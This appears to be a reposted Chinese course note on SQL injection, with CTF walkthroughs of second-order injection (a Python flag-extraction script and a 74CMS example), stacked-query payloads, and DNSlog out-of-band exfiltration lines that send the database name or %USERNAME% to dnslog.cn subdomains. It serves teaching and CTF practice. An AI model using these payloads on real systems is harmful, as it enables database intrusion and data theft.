小迪安全30WEB 攻防-通用漏洞SQL 注入CTF二次堆叠DNS 带外

news2024/10/2 16:28:51

#知识点: 

1、数据库堆叠注入 

根据数据库类型决定是否支持多条语句执行 

2、数据库二次注入 

应用功能逻辑涉及上导致的先写入后组合的注入 

3、数据库 Dnslog 注入 

解决不回显(反向连接),SQL 注入,命令执行,SSRF 等 

4、黑盒模式分析以上 

二次注入:插入后调用显示操作符合 

堆叠注入:判断注入后直接调多条执行 

DNS 注入:在注入上没太大利用价值,其他还行

 

 

 

#二次注入-74CMS&网鼎杯 2018Unfinish 

c0074ca66fb941b1b63c02dc068eb095.png

 比如:找回密码功能:

得到你的用户名(你找回谁的密码)

        进入用户名绕过,网站进入找回密码的验证阶段(网站记录知道你是谁了)

       接受获取你的用户名,修改密码update

 

但如果在注册用户名时,写了一个SQL注入的语句

        则当进行修改密码时,会对用户名进行调用

            即:update user set password=’xiaodi’ where username=’SQL注入代码’

        从而形成注入点

        

CTF-[网鼎杯 2018]Unfinish-黑盒 

先进入register.php页面

c7e9eb4fac124b10b53d60fbe5e448e6.png

 通过注册完账号后,进行账号登录,此时发现我们的用户名被调用了,这时就可以估计此注入点是二次注入

 

分析:

注册用户:添加insert

        Insert into user(email,username,password) value(‘3178151661245@qq.com’,’AT’,’123456’)

 

登录:用的email和password

进入用户中心:用用户名进行显示

Select username from user where email=’31781511245@qq.com’

那么此时我往username这个地方开始注册时就注入了SQL注入,那么此时显示出来的就是我SQL注入来的地方

9f8ded467511482ea4b53c1700698144.png

 我们这里使用.py进行制造payload

 

import requests

from bs4 import BeautifulSoup

import time 

 

 

url = 'http://d1e19434-4122-4e6e-9aa4-7e31af7022f4.node5.buuoj.cn:81/'

 

m = ''

for i in range(100):

    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)  

    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}

    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}

    req = requests.session()

    r1 = req.post(url+'register.php',data = register)

    r2 = req.post(url+'login.php', data = login)

    r3 = req.post(url+'index.php')

    html = r3.text

    soup = BeautifulSoup(html,'html.parser')

    UserName = soup.span.string.strip()

    if int(UserName) == 0:

        break

    m += chr(int(UserName))

    print(m)

    time.sleep(1)

 

2b6de753b4ee4d0aa27aa935baafcb69.png

 CMS-74CMS 个人会员中心-黑白盒 

黑盒:

对学校名称进行注入

3c6373282c654041898ab90d0e6fc427.png

 我们并没有填入学校地址,但输入了学校的名字,然后地址就会跟着学校名字一起出来,形成二次注入

xiaodi',address=user()#

即insert address value (‘xiaodi’,address=user#)

 

白盒:

根据修改内容抓包,发现对应函数save_resuma_education_edit中的SQL查询语句

ef16ae48b8434bbfa613f360bd2c5cea.png

 抓学校地址该网页的包,并进行查看其相关函数 make4_save

5fac07285c09476f90b17eb4234689cc.png

 发现有SQL语句——insert:会把修改的内容插入到数据库的相关位置

3f4d2ac2a4cd4fd68a33a92698a0fb25.png

065c0e2d6e66445bbaee7988c0538bc0.png 

 对其SQL语句进行监听

24eb177c1abc4f19b015ca16ca23d329.png

cf98e6c6440547aaab8a9f0636546ecd.png 

 #堆叠注入-数据库类型&强网杯 2019 随便注

 

根据数据库类型决定是否支持多条语句执行 这里与联合查询是有区别的;

如select * from news where id=1;create table xioadi like news;

支持堆叠数据库类型:MYSQL MSSQL Postgresql 等 

一般的,代码上和数据库上的堆叠操作权限是不一样的,如果代码上允许堆叠,那数据库上一定可以,如果代码上不行,数据库也可以进行堆叠

 

过滤规则,select是被过滤的,还有一些注入常用语句也被过滤了,此时可考虑堆叠注入

 

参考:https://www.cnblogs.com/Timesi/p/11426348.html

';show databases; 

';show tables; 

';show columns from `1919810931114514`; 

';select flag from `1919810931114514`; 

';SeT 

@a=0x73656c656374202a2066726f6d2060313931393831303933313131343531 

3460;prepare execsql from @a;execute execsql; 

 

 

#DNS 利用-平台介绍&SQL 注入&命令执行等 

DNS注入原理:让服务器自己去访问网页的地址,通过网络的参数去让对方进行执行,并回显到DNS上

 

基本只针对于MYSQL——load_file

 

1.平台 

http://www.dnslog.cn 

http://admin.dnslog.link 

http://ceye.io 

2.应用场景: 

解决不回显,反向连接,SQL 注入,命令执行,SSRF 等 

SQL 注入: 

select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa')); 

and (select load_file(concat('//',(select 

database()),'.69knl9.dnslog.cn/abc'))) 

命令执行: 

ping %USERNAME%.7logee.dnslog.cn 

接受的主机的username

089407d7f78149128322b9beb9f592b9.png

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1471938.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024.2.21 模拟实现 RabbitMQ —— 实现转发规则

目录 需求分析 直接交换机(Direct ) 主题交换机(Topic ) 扇出交换机(Fanout ) Topic 交换机转发规则 routingKey 组成 bindingKey 组成 匹配规则 情况一 情况二 情况三 实现 Router 类 校验 b…

【AIGC大模型】跑通wonder3D (windows)

论文链接:https://arxiv.org/pdf/2310.15008.pdf windows10系统 显卡:NVIDIA rtx 2060 一、安装anaconda 二、安装CUDA 11.7 (CUDA Toolkit 11.7 Downloads | NVIDIA Developer) 和 cudnn 8.9.7(cuDNN Archive | NVIDIA Developer)库 CUDA选择自定…

【Android】坐标系

Android 系统中有两种坐标系,分别为 Android 坐标系和 View 坐标系。了解这两种坐标系能够帮助我们实现 View 的各种操作,比如我们要实现 View 的滑动,你连这个 View 的位置都不知道,那如何去操作呢? 一、Android 坐标…

【Spring Cloud】高并发带来的问题及常见容错方案

文章目录 高并发带来的问题编写代码修改配置压力测试修改配置,并启动软件添加线程组配置线程并发数添加Http取样配置取样,并启动测试访问message方法观察效果 服务雪崩效应常见容错方案常见的容错思路常见的容错组件 总结 欢迎来到阿Q社区 https://bbs.c…

《极简C++学习专栏》之结束语

朋友们,经过这么长的时间,《极简C学习专栏》的文章创作就要结束了,感谢你们一路陪伴! 也希望你们能支持我接下来的其他专栏的创作! 专栏的初衷 《极简C学习》专栏的初衷源自于我个人的学习笔记,记录下自己…

【刷题】牛客 JZ64 求1+2+3+...+n

刷题 题目描述思路一 (暴力递归版)思路二 (妙用内存版)思路三 (快速乘法版)思路四 (构造巧解版)Thanks♪(・ω・)ノ谢谢阅读!&#xff01…

Java 面向对象进阶 18 JDK8、9开始新增的方法;接口的应用;适配器设计模式;内部类(黑马)

一、JDK8开始新增的方法 默认方法不是抽象方法,所以不强制被重写: 但是如果被重写,就要去掉default关键字: public可以省略,但是default不可以省略: public是灰色的,代表可以省略 但是default是…

怎么把pdf转换成word?

怎么把pdf转换成word?Pdf和word在电脑上的使用非常广泛,pdf和word分别是由 Adobe和Microsoft 分别开发的电脑文件格式。PDF 文件可以在不同操作系统和设备上保持一致的显示效果,无论是在 Windows、Mac 还是移动设备上查看,都能保持…

使用Docker部署MinIO并结合内网穿透实现远程访问本地数据

文章目录 前言1. Docker 部署MinIO2. 本地访问MinIO3. Linux安装Cpolar4. 配置MinIO公网地址5. 远程访问MinIO管理界面6. 固定MinIO公网地址 前言 MinIO是一个开源的对象存储服务器,可以在各种环境中运行,例如本地、Docker容器、Kubernetes集群等。它兼…

《绝地求生》提示msvcp140.dll丢失如何修复?分享5种靠谱的解决方法

在玩绝地求生(PUBG)游戏过程中,如果遇到系统弹出“提示请重新安装软件msvcp140.dll”的信息,这究竟是什么原因导致的呢?msvcp140.dll这个文件是Microsoft Visual C Redistributable Package的一部分,是许多…

服务器系统安全,10招教你维护服务器的安全

网络逐渐成为了我们生活中一部分。有人说,断WIFI是最厉害的一种惩罚手段,但是其实不然,最狠的莫过于网站的服务器遭受攻击,直接访问不了网页了,这时候就算有wifi我们也无能为力。服务器系统安全一直是管理者最关注的事…

这个元宵节,被云开发者安排了

元宵节快乐,同学们!今天吃的汤圆都是什么馅儿的? 都说过了元宵,这个年才算是正式过完,2024年就算是正式开启。学堂君这里也准备了一份专属于开发者的小礼物,作为一点心意。 欢迎私信,发送暗号…

Ubuntu 某软件导致卡机如何 kill 掉进程

输入 top 查看现在系统的进程,记下该进程第一列的 pid 编号 kill [pid] 可以杀掉此进程 参考: Ubuntu下查看进程pid及结束无响应程序_终止3分钟内无响应的所有pid-CSDN博客

【OneAPI】节假日查询API

OneAPI新接口发布:节假日查询API 可查询指定月份、年份法定节假日及调休情况。 API地址:https://oneapi.coderbox.cn/openapi/public/holiday 请求参数 URL参数 参数名类型必须含义说明datestring否要查询的日期可按年或月查询,支持前缀…

Coursera吴恩达机器学习专项课程02:Advanced Learning Algorithms 笔记 Week01

Advanced Learning Algorithms Week 01 笔者在2022年7月份取得这门课的证书,现在(2024年2月25日)才想起来将笔记发布到博客上。 Website: https://www.coursera.org/learn/advanced-learning-algorithms?specializationmachine-learning-in…

如何使用Lychee+cpolar搭建本地私人图床并实现远程访问存储图片

文章目录 1.前言2. Lychee网站搭建2.1. Lychee下载和安装2.2 Lychee网页测试2.3 cpolar的安装和注册 3.本地网页发布3.1 Cpolar云端设置3.2 Cpolar本地设置 4.公网访问测试5.结语 1.前言 图床作为图片集中存放的服务网站,可以看做是云存储的一部分,既可…

嵌入式Qt 实现用户界面与业务逻辑分离

一.基本程序框架一般包含 二.框架的基本设计原则 三.用户界面与业务逻辑的交互 四.代码实现计算器用户界面与业务逻辑 ICalculator.h #ifndef _ICALCULATOR_H_ #define _ICALCULATOR_H_#include <QString>class ICalculator { public:virtual bool expression(const QSt…

AR应用的开发流程

增强现实&#xff08;Augmented Reality&#xff0c;AR&#xff09;是一种技术&#xff0c;它将虚拟信息叠加在真实世界中&#xff0c;通过计算机生成的视觉、听觉、触觉等感官反馈&#xff0c;将虚拟元素与现实世界进行交互。这种技术使得用户可以与现实世界中的虚拟对象进行互…

利用netty手写rpc框架

前言&#xff1a;利用netty异步事件驱动的网络通信模型&#xff0c;来实现rpc通信 一、大致目录结构&#xff1a; 二、两个端&#xff1a;服务端&#xff08;发布&#xff09;&#xff0c;客户端&#xff08;订阅消费&#xff09;&#xff0c;上代码&#xff1a; 1.服务端&am…

prometheus+grafana监控nginx的简单实现

1.编译安装NGINX 加入编译安装nginx-module-vts模块,目的是为了获取更多的监控数据(虚拟主机&#xff0c;upstream等) nginx下载 http://nginx.org/download/nginx-1.20.2.tar.gz nginx-module-vts下载 https://github.com/vozlt/nginx-module-vts/archive/refs/tags/v0.2…